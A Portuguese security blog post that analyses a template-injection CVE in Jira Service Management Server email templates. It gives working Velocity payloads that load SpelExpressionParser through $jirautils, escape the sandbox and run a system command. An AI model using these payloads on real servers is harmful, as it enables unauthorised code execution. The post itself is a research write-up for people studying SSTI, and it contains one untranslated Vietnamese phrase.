
Injeção de Template em modelos de e-mail leva à execução de código no Jira Service Management Server
Injeção de Template em Modelos de E-mail leva à execução de código no Jira Service Management Server
Já mostrei como fazer deploy + debug aqui, vocês podem consultar.
Na Descrição deste CVE também está claro que o bug está no recurso Email Template. Com privilégios de admin, o usuário pode editar livremente os templates dos e-mails de notificação. Esse bug exige privilégios de admin para ser explorado, então mesmo com RCE não é tão grave, mas ainda assim decidi escrever o blog por diversão :) quem estiver estudando SSTI pode usar como referência.
atlassian-jira-servicedesk-4.17.0-m0006-standalone e tentei diff para ver as diferenças em relação à 4.18.0:

Quando vi essa quantidade, ... é claro que não vou ler arquivo por arquivo, sou muito preguiçoso. Brincadeira, na verdade, além do patch de segurança, as versões também têm upgrades + mudanças de funcionalidades. Fazer diff de tudo e ficar lendo assim tomaria muito tempo. Claro que em alguns casos tenho que aturar o diff completo e ler, mas neste caso não fiz isso =)))
SendBulkMail para criar o e-mail de notificação. Sobre a stack call desse endpoint, prefiro não mencionar para não ficar longo, pois é semelhante à stack call em CVE-2019-11581Na função SimpleNote.render, posso ver a variável de contexto para ver o que dá para aproveitar:
Pela minha própria experiência, costumo prestar atenção e verificar contextos/classes com palavras-chave como: Utils, Manager, service, ... Notei que há o contexto $jirautils (classe com.atlassian.jira.util.JiraUtils) que contém o método public static <T> T loadComponent(String className, Class<?> callingClass) :
Fui vasculhar a documentação para entender a função dela e como usá-la, porque a entrada recebe uma String className e a saída é uma classe, então é bem provável que esse método carregue classes de forma arbitrária:
Entrei em System -> Email templates e baixei o arquivo de template atual para a máquina
Existem muitos templates diferentes, cada um usado para um tipo de notificação diferente, então procurei um arquivo que pudesse ser usado em comum por vários tipos de notificação, como email\html\includes\header.vm
Depois de enviar o arquivo de template modificado e usar SendBulkMail para disparar um e-mail de notificação, recebi a seguinte saída no e-mail:
Basicamente, essa classe não tem construtores ou não foi aceita. Tentei usar outra classe que tivesse construtores (construtores sem argumentos) para ver o que acontecia:
E o resultado foi exatamente o esperado. Consegui obter a classe com sucesso:
Vemos que 3 classes foram adicionadas à blacklist:
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager
Ao verificar cada classe, percebi que a classe SpelExpressionParser tem o método public SpelExpression parseRaw(String expressionString); pesquisei no Google por um tempo para descobrir como usar e, basicamente, podia ser usado assim:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")
Como vocês podem ver, o método parseRaw retorna um objeto da classe org.springframework.expression.spel.standard.SpelExpression, mas ainda não renderiza de fato a expressão que informei. Entrei na classe SpelExpression e vi que existe o método getValue:
@Nullable
public Object getValue() throws EvaluationException {
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
EvaluationContext context = this.getEvaluationContext();
return compiledAst.getValue(context.getRootObject().getValue(), context);
} catch (Throwable var4) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
Olhando para a entrada/saída, alguém que joga no feeling como eu decide testar logo em vez de consultar a documentação de novo:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
e o resultado:
Assim, conseguimos fazer bypass na sandbox do Velocity para obter RCE. Porém, ao me colocar no lugar do autor — a pessoa que encontrou esse bug — ainda há várias perguntas que não consigo explicar:
Quando investiguei essas 3 classes, vi que elas podem formar uma chain:
ComponentAccessor.getComponentClassManager()
=> ComponentClassManager.newInstance(String className) (Class này có thể load class tùy ý)
=> SpelExpressionParser
Se o autor tivesse usado $jirautils como eu, não precisaria das outras 2 classes. Mas, se o autor não usou $jirautils, como ele conseguiu obter o ComponentAccessor???